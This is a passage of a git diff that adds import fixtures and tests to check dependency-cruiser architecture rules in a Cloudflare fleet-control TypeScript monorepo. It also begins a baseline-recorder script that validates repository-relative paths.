diff --git a/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts b/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts
new file mode 100644
index 00000000..8e8bf156
--- /dev/null
+++ b/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts
@@ -0,0 +1,3 @@
+import '../../packages/fleet-control/src/backend-switch.js';
+import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js';
+import '../../packages/fleet-control/src/d1-fleet-state-database.js';
diff --git a/scripts/architecture-fixtures/cleanup-state-imports-provider.ts b/scripts/architecture-fixtures/cleanup-state-imports-provider.ts
new file mode 100644
index 00000000..0895ff88
--- /dev/null
+++ b/scripts/architecture-fixtures/cleanup-state-imports-provider.ts
@@ -0,0 +1,4 @@
+import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js';
+import Cloudflare from 'cloudflare';
+
+void Cloudflare;
diff --git a/scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts b/scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts
new file mode 100644
index 00000000..a6025b89
--- /dev/null
+++ b/scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: Apache-2.0
+import 'node:fs/promises';
+import 'node:buffer';
+import 'node:crypto';
+import 'node:async_hooks';
+import 'node:test';
+import 'node:test/reporters';
+import 'node:sea';
+import 'node:sqlite';
diff --git a/scripts/architecture-fixtures/control-plane-imports-node-host.ts b/scripts/architecture-fixtures/control-plane-imports-node-host.ts
new file mode 100644
index 00000000..5e18cf9d
--- /dev/null
+++ b/scripts/architecture-fixtures/control-plane-imports-node-host.ts
@@ -0,0 +1,2 @@
+// SPDX-License-Identifier: Apache-2.0
+import '../../packages/fleet-control/src/export-store.js';
diff --git a/scripts/architecture-fixtures/decommission-advance-imports-provider.ts b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts
new file mode 100644
index 00000000..8e8bf156
--- /dev/null
+++ b/scripts/architecture-fixtures/decommission-advance-imports-provider.ts
@@ -0,0 +1,3 @@
+import '../../packages/fleet-control/src/backend-switch.js';
+import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js';
+import '../../packages/fleet-control/src/d1-fleet-state-database.js';
diff --git a/scripts/architecture-fixtures/decommission-database-imports-provider.ts b/scripts/architecture-fixtures/decommission-database-imports-provider.ts
new file mode 100644
index 00000000..f7aea452
--- /dev/null
+++ b/scripts/architecture-fixtures/decommission-database-imports-provider.ts
@@ -0,0 +1,5 @@
+import type { BackendSwitchProvider } from '../../packages/fleet-control/src/backend-switch.js';
+import '../../packages/fleet-control/src/cloudflare-client.js';
+import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js';
+
+export type FixtureBackendSwitchProvider = BackendSwitchProvider;
diff --git a/scripts/architecture-fixtures/decommission-state-imports-provider.ts b/scripts/architecture-fixtures/decommission-state-imports-provider.ts
new file mode 100644
index 00000000..0895ff88
--- /dev/null
+++ b/scripts/architecture-fixtures/decommission-state-imports-provider.ts
@@ -0,0 +1,4 @@
+import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js';
+import Cloudflare from 'cloudflare';
+
+void Cloudflare;
diff --git a/scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts b/scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts
new file mode 100644
index 00000000..4a51253a
--- /dev/null
+++ b/scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts
@@ -0,0 +1 @@
+import '../../packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.js';
diff --git a/scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts b/scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts
new file mode 100644
index 00000000..d2041ab0
--- /dev/null
+++ b/scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts
@@ -0,0 +1 @@
+import '../../packages/fleet-control/src/r2-export-store.js';
diff --git a/scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts b/scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts
new file mode 100644
index 00000000..076b150a
--- /dev/null
+++ b/scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts
@@ -0,0 +1 @@
+import '../../packages/fleet-control/src/cloudflare-client.js';
diff --git a/scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts b/scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts
new file mode 100644
index 00000000..6805e693
--- /dev/null
+++ b/scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts
@@ -0,0 +1 @@
+import '../../packages/fleet-control/src/d1-fleet-state-database.js';
diff --git a/scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts b/scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts
new file mode 100644
index 00000000..75bfd5a9
--- /dev/null
+++ b/scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts
@@ -0,0 +1 @@
+import 'node:fs';
diff --git a/scripts/architecture-fixtures/inventory-advance-imports-provider.ts b/scripts/architecture-fixtures/inventory-advance-imports-provider.ts
new file mode 100644
index 00000000..86806d71
--- /dev/null
+++ b/scripts/architecture-fixtures/inventory-advance-imports-provider.ts
@@ -0,0 +1,3 @@
+import '../../packages/fleet-control/src/cloudflare-fleet-inventory.js';
+import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js';
+import '../../packages/fleet-control/src/d1-fleet-state-database.js';
diff --git a/scripts/architecture-fixtures/inventory-state-imports-provider.ts b/scripts/architecture-fixtures/inventory-state-imports-provider.ts
new file mode 100644
index 00000000..0895ff88
--- /dev/null
+++ b/scripts/architecture-fixtures/inventory-state-imports-provider.ts
@@ -0,0 +1,4 @@
+import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js';
+import Cloudflare from 'cloudflare';
+
+void Cloudflare;
diff --git a/scripts/architecture-fixtures/operation-advance-imports-provider.ts b/scripts/architecture-fixtures/operation-advance-imports-provider.ts
new file mode 100644
index 00000000..96080df3
--- /dev/null
+++ b/scripts/architecture-fixtures/operation-advance-imports-provider.ts
@@ -0,0 +1,3 @@
+import '../../packages/fleet-control/src/cloudflare-client.js';
+import '../../packages/fleet-control/src/fleet-audit-advance.js';
+import '../../packages/fleet-control/src/d1-fleet-state-database.js';
diff --git a/scripts/architecture-fixtures/operation-state-imports-provider.ts b/scripts/architecture-fixtures/operation-state-imports-provider.ts
new file mode 100644
index 00000000..0895ff88
--- /dev/null
+++ b/scripts/architecture-fixtures/operation-state-imports-provider.ts
@@ -0,0 +1,4 @@
+import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js';
+import Cloudflare from 'cloudflare';
+
+void Cloudflare;
diff --git a/scripts/architecture-fixtures/runtime-sdk-import.ts b/scripts/architecture-fixtures/runtime-sdk-import.ts
new file mode 100644
index 00000000..7b544b69
--- /dev/null
+++ b/scripts/architecture-fixtures/runtime-sdk-import.ts
@@ -0,0 +1,3 @@
+import Cloudflare from 'cloudflare';
+
+void Cloudflare;
diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs
index 0054eb49..830f6cb6 100644
--- a/scripts/architecture-positive-controls.test.mjs
+++ b/scripts/architecture-positive-controls.test.mjs
@@ -1,11 +1,14 @@
 import assert from 'node:assert/strict';
 import { spawnSync } from 'node:child_process';
-import { createRequire } from 'node:module';
+import { existsSync, globSync, readdirSync, readFileSync } from 'node:fs';
+import { builtinModules, createRequire, isBuiltin } from 'node:module';
+import { join, relative } from 'node:path';
 import test from 'node:test';
 import { fileURLToPath } from 'node:url';
 
 const require = createRequire(import.meta.url);
 const config = require('../.dependency-cruiser.cjs');
+const architectureRules = [...config.forbidden, ...config.required];
 const cli = fileURLToPath(
   new URL(
     '../node_modules/dependency-cruiser/bin/dependency-cruise.mjs',
@@ -15,8 +18,87 @@ const cli = fileURLToPath(
 const configPath = fileURLToPath(
   new URL('../.dependency-cruiser.cjs', import.meta.url),
 );
+const erasedDependencyTypes = new Set(['type-only', 'type-import']);
+const decommissionAdvance =
+  'packages/fleet-control/src/decommission-advance.ts';
+const decommissionDatabase =
+  'packages/fleet-control/src/decommission-database.ts';
+const backendSwitch = 'packages/fleet-control/src/backend-switch.ts';
+const switchProvider =
+  'packages/fleet-control/src/workers-for-platforms-backend-switch-provider.ts';
+const databaseExportStore =
+  'packages/fleet-control/src/database-export-store.ts';
+const strictPlainData = 'packages/fleet-control/src/strict-plain-data.ts';
+const auditAdvance = 'packages/fleet-control/src/fleet-audit-advance.ts';
+const migrationAdvance =
+  'packages/fleet-control/src/fleet-migration-advance.ts';
+const fleet = 'packages/fleet-control/src/fleet.ts';
+const cloudflareClient = 'packages/fleet-control/src/cloudflare-client.ts';
+const d1Database = 'packages/fleet-control/src/d1-fleet-state-database.ts';
+
+function adjacencyOf(report, keep) {
+  return new Map(
+    report.modules.map((module) => [
+      module.source,
+      module.dependencies
+        .filter(keep)
+        .map((dependency) => dependency.resolved)
+        .filter((resolved) => typeof resolved === 'string')
+        .sort(),
+    ]),
+  );
+}
+
+function runtimeAdjacency(report) {
+  return adjacencyOf(
+    report,
+    (dependency) =>
+      !dependency.dependencyTypes.some((type) =>
+        erasedDependencyTypes.has(type),
+      ),
+  );
+}
+
+function fullAdjacency(report) {
+  return adjacencyOf(report, () => true);
+}
+
+function reaches(adjacency, source, target) {
+  const visited = new Set();
+  const pending = [source];
+  while (pending.length > 0) {
+    const current = pending.shift();
+    if (current === target) return true;
+    if (current === undefined || visited.has(current)) continue;
+    visited.add(current);
+    pending.push(...(adjacency.get(current) ?? []));
+  }
+  return false;
+}
+
+function reachableFrom(adjacency, source) {
+  const reachable = new Set();
+  const pending = [...(adjacency.get(source) ?? [])];
+  while (pending.length > 0) {
+    const current = pending.shift();
+    if (current === undefined || reachable.has(current)) continue;
+    reachable.add(current);
+    pending.push(...(adjacency.get(current) ?? []));
+  }
+  return [...reachable].sort();
+}
+
+function hasCycleThrough(adjacency, source) {
+  return (adjacency.get(source) ?? []).some((target) =>
+    reaches(adjacency, target, source),
+  );
+}
 
 const controls = {
+  'fleet-control-worker-entry-avoids-node-host-adapters':
+    'scripts/architecture-fixtures/control-plane-imports-node-host.ts',
+  'fleet-control-worker-entry-limits-core-imports':
+    'scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts',
   'flowsafe-public-entry-no-agent-host':
     'scripts/architecture-fixtures/public-entry-imports-agent-host.ts',
   'flowsafe-public-entry-no-breakwater':
@@ -40,28 +122,382 @@ const controls = {
     'scripts/architecture-fixtures/host-kit-misses-approval-bridge.ts',
   'host-kit-reaches-approval-shapes':
     'scripts/architecture-fixtures/host-kit-misses-approval-shapes.ts',
+  'fleet-control-client-layers-are-one-way':
+    'scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts',
+  'fleet-control-decommission-state-does-not-reach-provider':
+    'scripts/architecture-fixtures/decommission-state-imports-provider.ts',
+  'fleet-control-cleanup-state-does-not-reach-provider':
+    'scripts/architecture-fixtures/cleanup-state-imports-provider.ts',
+  'fleet-control-inventory-state-does-not-reach-provider':
+    'scripts/architecture-fixtures/inventory-state-imports-provider.ts',
+  'fleet-control-operation-state-does-not-reach-provider':
+    'scripts/architecture-fixtures/operation-state-imports-provider.ts',
+  'fleet-control-decommission-advance-is-transport-neutral':
+    'scripts/architecture-fixtures/decommission-advance-imports-provider.ts',
+  'fleet-control-inventory-advance-is-transport-neutral':
+    'scripts/architecture-fixtures/inventory-advance-imports-provider.ts',
+  'fleet-control-operation-advance-avoids-concrete-transports':
+    'scripts/architecture-fixtures/operation-advance-imports-provider.ts',
+  'fleet-control-runtime-sdk-stays-in-provider-modules':
+    'scripts/architecture-fixtures/runtime-sdk-import.ts',
+  'fleet-control-cleanup-advance-is-transport-neutral':
+    'scripts/architecture-fixtures/cleanup-advance-imports-provider.ts',
+  'fleet-control-decommission-database-is-provider-neutral':
+    'scripts/architecture-fixtures/decommission-database-imports-provider.ts',
+  'fleet-control-backend-switch-does-not-reach-its-provider':
+    'scripts/architecture-fixtures/decommission-database-imports-provider.ts',
+  'fleet-control-strict-plain-data-is-import-free':
+    'scripts/architecture-fixtures/decommission-state-imports-provider.ts',
+  'fleet-control-ports-do-not-reach-d1-adapter':
+    'scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts',
+  'fleet-control-worker-reachable-modules-avoid-node-builtins':
+    'scripts/architecture-fixtures/fleet-control-worker-reachable-imports-node-builtin.ts',
+  'fleet-control-client-does-not-reach-its-consumers':
+    'scripts/architecture-fixtures/fleet-control-client-imports-consumer.ts',
+  'fleet-control-export-port-does-not-reach-adapters':
+    'scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts',
+};
+
+const extraEntries = {
+  'fleet-control-decommission-advance-is-transport-neutral': [
+    decommissionAdvance,
+  ],
+  'fleet-control-decommission-database-is-provider-neutral': [
+    decommissionAdvance,
+    decommissionDatabase,
+    backendSwitch,
+  ],
+  'fleet-control-backend-switch-does-not-reach-its-provider': [
+    decommissionAdvance,
+    decommissionDatabase,
+    backendSwitch,
+  ],
+  'fleet-control-operation-advance-avoids-concrete-transports': [
+    auditAdvance,
+    migrationAdvance,
+  ],
 };
 
+const followedImports = new Map([
+  [decommissionAdvance, decommissionDatabase],
+  [decommissionDatabase, databaseExportStore],
+  [backendSwitch, decommissionAdvance],
+  [switchProvider, backendSwitch],
+  [auditAdvance, fleet],
+  [migrationAdvance, fleet],
+]);
+
+function assertFollowedImports(adjacency, sources) {
+  for (const source of sources) {
+    const target = followedImports.get(source);
+    assert.ok(target, `no followed-import control for ${source}`);
+    assert.ok(
+      adjacency.get(source)?.includes(target),
+      `${source} did not follow its import of ${target}`,
+    );
+    assert.ok(
+      adjacency.get(target)?.length > 0,
+      `${target}, imported by ${source}, has no followed dependencies`,
+    );
+  }
+}
+
+test('production transport class implementations are forbidden operation targets', () => {
+  const fleetRequire = createRequire(
+    new URL('../packages/fleet-control/package.json', import.meta.url),
+  );
+  const ts = fleetRequire('typescript');
+  const root = fileURLToPath(new URL('..', import.meta.url));
+  const sourceRoot = fileURLToPath(
+    new URL('../packages/fleet-control/src/', import.meta.url),
+  );
+  const parsed = ts.getParsedCommandLineOfConfigFile(
+    fileURLToPath(
+      new URL('../packages/fleet-control/tsconfig.build.json', import.meta.url),
+    ),
+    { noEmit: true },
+    {
+      ...ts.sys,
+      onUnRecoverableConfigFileDiagnostic(diagnostic) {
+        assert.fail(
+          ts.flattenDiagnosticMessageText(diagnostic.messageText, '\n'),
+        );
+      },
+    },
+  );
+  assert.deepEqual(parsed.errors, []);
+  const program = ts.createProgram(parsed.fileNames, parsed.options);
+  const checker = program.getTypeChecker();
+  const portSources = {
+    ProvisioningBackend: 'types.ts',
+    PlainWorkerProvisioningApi: 'types.ts',
+    BackendSwitchProvider: 'backend-switch.ts',
+    DurableDatabaseExportStore: 'database-export-store.ts',
+    FleetStateDatabase: 'state-store.ts',
+  };
+  const ports = Object.entries(portSources).map(([name, file]) => {
+    const source = program.getSourceFile(`${sourceRoot}${file}`);
+    assert.ok(source, `missing port source ${file}`);
+    const module = checker.getSymbolAtLocation(source);
+    assert.ok(module, `missing module symbol for ${file}`);
+    const exported = checker
+      .getExportsOfModule(module)
+      .find((symbol) => symbol.name === name);
+    assert.ok(exported, `missing port ${name} in ${file}`);
+    const symbol =
+      exported.flags & ts.SymbolFlags.Alias
+        ? checker.getAliasedSymbol(exported)
+        : exported;
+    const type = checker.getDeclaredTypeOfSymbol(symbol);
+    assert.ok(
+      type.getProperties().length > 0,
+      `${name} has no resolved members`,
+    );
+    return { name, type };
+  });
+  const implementations = [];
+  for (const source of program.getSourceFiles()) {
+    if (source.isDeclarationFile || !source.fileName.startsWith(sourceRoot))
+      continue;
+    function visit(node) {
+      if (ts.isClassDeclaration(node) || ts.isClassExpression(node)) {
+        const symbol = checker.getTypeAtLocation(node).getSymbol();
+        assert.ok(symbol, `unresolved class symbol in ${source.fileName}`);
+        const type = checker.getDeclaredTypeOfSymbol(symbol);
+        const implemented = ports.filter((port) =>
+          checker.isTypeAssignableTo(type, port.type),
+        );
+        if (implemented.length > 0) {
+          implementations.push({
+            file: relative(root, source.fileName).split('\\').join('/'),
+            class: node.name?.text ?? '<anonymous>',
+            ports: implemented.map((port) => port.name),
+          });
+        }
+      }
+      ts.forEachChild(node, visit);
+    }
+    visit(source);
+  }
+  for (const { name } of ports) {
+    assert.ok(
+      implementations.some((implementation) =>
+        implementation.ports.includes(name),
+      ),
+      `no production class implementation found for ${name}`,
+    );
+  }
+  for (const name of [
+    'CloudflareApiPlainWorkerBackend',
+    'WranglerLoopBackend',
+  ]) {
+    assert.ok(
+      implementations.some(
+        (implementation) =>
+          implementation.class === name &&
+          implementation.ports.includes('ProvisioningBackend'),
+      ),
+      `inherited backend ${name} was not classified`,
+    );
+  }
+  const forbidden = new RegExp(
+    architectureRules.find(
+      (rule) =>
+        rule.name ===
+        'fleet-control-operation-advance-avoids-concrete-transports',
+    ).to.path,
+  );
+  assert.deepEqual(
+    implementations.filter(
+      (implementation) => !forbidden.test(implementation.file),
+    ),
+    [],
+    'production transport class implementations missing from the operation rule',
+  );
+});
+
+test('Worker control-plane core policy admits crypto and async_hooks', () => {
+  const rule = architectureRules.find(
+    (rule) => rule.name === 'fleet-control-worker-entry-limits-core-imports',
+  );
+  assert.ok(rule);
+  const entry = 'packages/fleet-control/src/cloudflare-control-plane.ts';
+  for (const name of [
+    'fleet-control-worker-entry-limits-core-imports',
+    'fleet-control-worker-entry-avoids-node-host-adapters',
+  ]) {
+    const entryRule = architectureRules.find(
+      (candidate) => candidate.name === name,
+    );
+    assert.ok(
+      entryRule.from.path.some((pattern) => new RegExp(pattern).test(entry)),
+      name,
+    );
+  }
+  const layer = architectureRules.find(
+    (candidate) => candidate.name === 'fleet-control-client-layers-are-one-way',
+  );
+  const reverse = architectureRules.find(
+    (candidate) =>
+      candidate.name === 'fleet-control-client-does-not-reach-its-consumers',
+  );
+  assert.equal(new RegExp(layer.from.pathNot).test(entry), true);
+  assert.equal(new RegExp(reverse.to.path).test(entry), true);
+  const forbidden = new RegExp(rule.to.path);
+  for (const name of [
+    'node:test',
+    'node:test/reporters',
+    'node:sea',
+    'node:sqlite',
+  ]) {
+    assert.equal(isBuiltin(name), true, name);
+    assert.equal(forbidden.test(name), true, name);
+  }
+  for (const name of ['node:crypto', 'node:async_hooks']) {
+    assert.equal(forbidden.test(name), false, name);
+  }
+  for (const raw of builtinModules) {
+    const name = raw.replace(/^node:/, '');
+    assert.equal(
+      forbidden.test(name),
+      !['crypto', 'async_hooks'].includes(name),
+      name,
+    );
+  }
+});
+
 test('every architecture rule has an executable positive control', () => {
-  const ruleNames = [...config.forbidden, ...config.required]
-    .map((rule) => rule.name)
-    .sort();
+  const ruleNames = architectureRules.map((rule) => rule.name).sort();
   assert.deepEqual(Object.keys(controls).sort(), ruleNames);
 });
 
+test('every extra cruise entry is keyed by an architecture rule', () => {
+  const ruleNames = new Set(architectureRules.map((rule) => rule.name));
+  for (const ruleName of Object.keys(extraEntries)) {
+    assert.ok(
+      ruleNames.has(ruleName),
+      `extraEntries names '${ruleName}', which is not an architecture rule`,
+    );
+  }
+});
+
+// Membership is resolved by parsing the config sources: loading the projects
+// through vitest would pull the Workers pool and workerd into this process.
+test('every root vitest project resolves the files it declares', () => {
+  const fleetRequire = createRequire(
+    new URL('../packages/fleet-control/package.json', import.meta.url),
+  );
+  const ts = fleetRequire('typescript');
+  const root = fileURLToPath(new URL('..', import.meta.url));
+  const parse = (configPath) => {
+    const fileName = join(root, configPath);
+    return ts.createSourceFile(
+      fileName,
+      readFileSync(fileName, 'utf8'),
+      ts.ScriptTarget.Latest,
+      true,
+    );
+  };
+  const initializerOf = (source, property, configPath) => {
+    const found = [];
+    const visit = (node) => {
+      if (
+        ts.isPropertyAssignment(node) &&
+        ts.isIdentifier(node.name) &&
+        node.name.text === property
+      ) {
+        found.push(node.initializer);
+      }
+      ts.forEachChild(node, visit);
+    };
+    visit(source);
+    assert.equal(found.length, 1, `${configPath} sets '${property}' once`);
+    return found[0];
+  };
+  const stringsOf = (source, property, configPath) => {
+    const initializer = initializerOf(source, property, configPath);
+    assert.ok(
+      ts.isArrayLiteralExpression(initializer),
+      `${configPath} sets '${property}' to an array literal`,
+    );
+    return initializer.elements
+      .filter((element) => ts.isStringLiteralLike(element))
+      .map((element) => element.text);
+  };
+
+  const entries = stringsOf(
+    parse('vitest.config.ts'),
+    'projects',
+    'vitest.config.ts',
+  );
+  const resolved = new Set();
+  for (const entry of entries) {
+    const matches = globSync(entry, { cwd: root });
+    assert.ok(matches.length > 0, `root project '${entry}' resolves no file`);
+    for (const match of matches) {
+      resolved.add(match.split('\\').join('/'));
+    }
+  }
+  const packageProjects = readdirSync(join(root, 'packages'), {
+    withFileTypes: true,
+  })
+    .filter((entry) => entry.isDirectory())
+    .map((entry) => `packages/${entry.name}/vitest.config.ts`)
+    .filter((configPath) => existsSync(join(root, configPath)));
+  assert.deepEqual(
+    [...resolved].sort(),
+    [
+      ...packageProjects,
+      'packages/fleet-control/vitest.direct-scenario.config.ts',
+      'vitest.breakwater-workers.config.mts',
+      'vitest.flowsafe-harness.config.ts',
+      'vitest.flowsafe-workers.config.ts',
+      'vitest.workerd-lifecycle.config.ts',
+    ].sort(),
+  );
+
+  const directPath = 'packages/fleet-control/vitest.direct-scenario.config.ts';
+  const direct = parse(directPath);
+  const projectName = initializerOf(direct, 'name', directPath);
+  assert.ok(
+    ts.isStringLiteralLike(projectName),
+    `${directPath} names its project with a string literal`,
+  );
+  assert.equal(projectName.text, 'fleet-control-direct-scenario');
+  const directInclude = stringsOf(direct, 'include', directPath);
+  const packageExclude = stringsOf(
+    parse('packages/fleet-control/vitest.config.ts'),
+    'exclude',
+    'packages/fleet-control/vitest.config.ts',
+  );
+  assert.ok(directInclude.length > 0, `${directPath} includes no file`);
+  for (const entry of directInclude) {
+    assert.ok(
+      globSync(entry, { cwd: join(root, 'packages/fleet-control') }).length > 0,
+      `fleet-control-direct-scenario include '${entry}' resolves no file`,
+    );
+    assert.ok(
+      packageExclude.includes(entry),
+      `the package project does not exclude '${entry}'`,
+    );
+  }
+});
+
 for (const [ruleName, fixture] of Object.entries(controls)) {
   test(`${ruleName} rejects its positive control`, () => {
+    const entries = [fixture, ...(extraEntries[ruleName] ?? [])];
     const args = [
       cli,
       '--config',
       configPath,
       '--output-type',
       'json',
-      fixture,
+      ...entries,
     ];
     const result = spawnSync(process.execPath, args, {
       cwd: fileURLToPath(new URL('..', import.meta.url)),
       encoding: 'utf8',
+      maxBuffer: 64 * 1024 * 1024,
     });
     const command = [process.execPath, ...args].join(' ');
     if (result.error) {
@@ -86,6 +522,188 @@ for (const [ruleName, fixture] of Object.entries(controls)) {
       violations.includes(ruleName),
       `${fixture} did not trigger ${ruleName}; got ${violations.join(', ')}`,
     );
+    const adjacency = fullAdjacency(report);
+    assertFollowedImports(adjacency, extraEntries[ruleName] ?? []);
+    if (
+      [
+        'fleet-control-decommission-advance-is-transport-neutral',
+        'fleet-control-inventory-advance-is-transport-neutral',
+        'fleet-control-operation-advance-avoids-concrete-transports',
+        'fleet-control-cleanup-advance-is-transport-neutral',
+      ].includes(ruleName)
+    ) {
+      assert.ok(
+        report.summary.violations.some(
+          (violation) =>
+            violation.rule.name === ruleName &&
+            violation.from === fixture &&
+            violation.to === d1Database,
+        ),
+        `${fixture} did not reject the concrete D1 database adapter`,
+      );
+      assert.equal(reaches(adjacency, fixture, d1Database), true);
+    }
+    if (
+      ruleName === 'fleet-control-decommission-state-does-not-reach-provider'
+    ) {
+      assert.ok(
+        report.summary.violations.some(
+          (violation) =>
+            violation.rule.name === ruleName && violation.to === 'cloudflare',
+        ),
+        'decommission state control did not reject a direct Cloudflare SDK import',
+      );
+    }
+    if (
+      ruleName === 'fleet-control-decommission-advance-is-transport-neutral'
+    ) {
+      assert.deepEqual([...new Set(violations)].sort(), [ruleName]);
+      assert.ok(
+        report.summary.violations.some(
+          (violation) =>
+            violation.rule.name === ruleName && violation.to === switchProvider,
+        ),
+        'decommission advance control did not reject the concrete switch provider',
+      );
+      assert.equal(reaches(adjacency, fixture, backendSwitch), true);
+      assert.equal(reaches(adjacency, fixture, switchProvider), true);
+      assertFollowedImports(adjacency, [backendSwitch, switchProvider]);
+      assert.equal(
+        reaches(adjacency, decommissionAdvance, backendSwitch),
+        false,
+      );
+      assert.equal(
+        reaches(adjacency, decommissionAdvance, switchProvider),
+        false,
+      );
+    }
+    if (
+      ruleName === 'fleet-control-decommission-database-is-provider-neutral'
+    ) {
+      assert.deepEqual([...new Set(violations)].sort(), [
+        'fleet-control-backend-switch-does-not-reach-its-provider',
+        'fleet-control-decommission-database-is-provider-neutral',
+      ]);
+      for (const target of [
+        'packages/fleet-control/src/cloudflare-client.ts',
+        switchProvider,
+      ]) {
+        assert.ok(
+          report.summary.violations.some(
+            (violation) =>
+              violation.rule.name === ruleName && violation.to === target,
+          ),
+          `decommission database control did not reject ${target}`,
+        );
+      }
+      assert.equal(adjacency.get(fixture)?.includes(backendSwitch), true);
+      const runtime = runtimeAdjacency(report);
+      assert.deepEqual(reachableFrom(runtime, decommissionDatabase), [
+        databaseExportStore,
+        strictPlainData,
+      ]);
+      assert.equal(
+        runtime.get(fixture)?.includes(backendSwitch) ?? false,
+        false,
+        'erased fixture edge entered the runtime adjacency map',
+      );
+    }
+    if (
+      ruleName === 'fleet-control-backend-switch-does-not-reach-its-provider'
+    ) {
+      assert.deepEqual([...new Set(violations)].sort(), [
+        'fleet-control-backend-switch-does-not-reach-its-provider',
+        'fleet-control-decommission-database-is-provider-neutral',
+      ]);
+      assert.equal(reaches(adjacency, fixture, backendSwitch), true);
+      assert.equal(reaches(adjacency, fixture, switchProvider), true);
+      assertFollowedImports(adjacency, [switchProvider]);
+      assert.equal(reaches(adjacency, backendSwitch, switchProvider), false);
+      for (const source of [
+        decommissionAdvance,
+        decommissionDatabase,
+        backendSwitch,
+        switchProvider,
+      ]) {
+        assert.equal(
+          hasCycleThrough(adjacency, source),
+          false,
+          `${source} entered a type-inclusive dependency cycle`,
+        );
+      }
+    }
+    if (
+      ruleName === 'fleet-control-operation-advance-avoids-concrete-transports'
+    ) {
+      assert.deepEqual([...new Set(violations)].sort(), [ruleName]);
+      assert.ok(
+        report.summary.violations.some(
+          (violation) =>
+            violation.rule.name === ruleName &&
+            violation.to === cloudflareClient,
+        ),
+        'operation advance control did not reject the concrete provider client',
+      );
+      assert.equal(reaches(adjacency, fixture, cloudflareClient), true);
+      const forbidden = new RegExp(
+        architectureRules.find((rule) => rule.name === ruleName).to.path,
+      );
+      for (const source of [auditAdvance, migrationAdvance]) {
+        assert.deepEqual(
+          reachableFrom(adjacency, source).filter((module) =>
+            forbidden.test(module),
+          ),
+          [],
+          `${source} reached a forbidden target`,
+        );
+      }
+    }
+    if (ruleName === 'fleet-control-strict-plain-data-is-import-free') {
+      for (const target of ['cloudflare', 'crypto']) {
+        assert.ok(
+          report.summary.violations.some(
+            (violation) =>
+              violation.rule.name === ruleName && violation.to === target,
+          ),
+          `strict plain-data control did not reject ${target}`,
+        );
+      }
+    }
+    if (ruleName === 'fleet-control-worker-entry-limits-core-imports') {
+      for (const target of [
+        'fs/promises',
+        'buffer',
+        'node:test',
+        'node:test/reporters',
+        'node:sea',
+        'node:sqlite',
+      ]) {
+        assert.ok(
+          report.summary.violations.some(
+            (violation) =>
+              violation.rule.name === ruleName && violation.to === target,
+          ),
+        );
+      }
+      for (const allowed of ['crypto', 'async_hooks']) {
+        assert.equal(
+          report.summary.violations.some(
+            (violation) =>
+              violation.rule.name === ruleName && violation.to === allowed,
+          ),
+          false,
+        );
+      }
+    }
+    if (ruleName === 'fleet-control-worker-entry-avoids-node-host-adapters') {
+      assert.ok(
+        report.summary.violations.some(
+          (violation) =>
+            violation.rule.name === ruleName &&
+            violation.to === 'packages/fleet-control/src/export-store.ts',
+        ),
+      );
+    }
     if (ruleName === 'flowsafe-public-entry-no-breakwater') {
       const entry = report.modules.find((module) => module.source === fixture);
       assert.deepEqual(
diff --git a/scripts/baseline-recorder.mjs b/scripts/baseline-recorder.mjs
new file mode 100644
index 00000000..08045b3a
--- /dev/null
+++ b/scripts/baseline-recorder.mjs
@@ -0,0 +1,448 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawnSync } from 'node:child_process';
+import { existsSync, realpathSync, statSync, writeFileSync } from 'node:fs';
+import { register } from 'node:module';
+import { dirname, isAbsolute, relative, resolve, sep } from 'node:path';
+import process from 'node:process';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+import { isMainThread } from 'node:worker_threads';
+
+const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url)));
+// `pnpm exec` rather than a hard-coded node_modules/.bin path, matching
+// build-api-docs.mjs; the .bin shim location is a pnpm implementation detail.
+const PNPM = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm';
+
+function repositoryPath(relativePath, field) {
+  if (
+    typeof relativePath !== 'string' ||
+    relativePath.length === 0 ||
+    relativePath.includes('\0') ||
+    isAbsolute(relativePath) ||
+    /^[A-Za-z][A-Za-z0-9+.-]*:/u.test(relativePath)
+  ) {
+    throw new Error(`${field} must be a repository-relative filesystem path`);
+  }
+  const filePath = resolve(REPOSITORY_ROOT, relativePath);
+  const fromRoot = relative(REPOSITORY_ROOT, filePath);
+  if (
+    fromRoot === '' ||
+    fromRoot === '..' ||
+    fromRoot.startsWith(`..${sep}`) ||
+    isAbsolute(fromRoot)
+  ) {
+    throw new Error(`${field} must resolve to a path inside the repository`);
+  }
+  return filePath;
+}
+
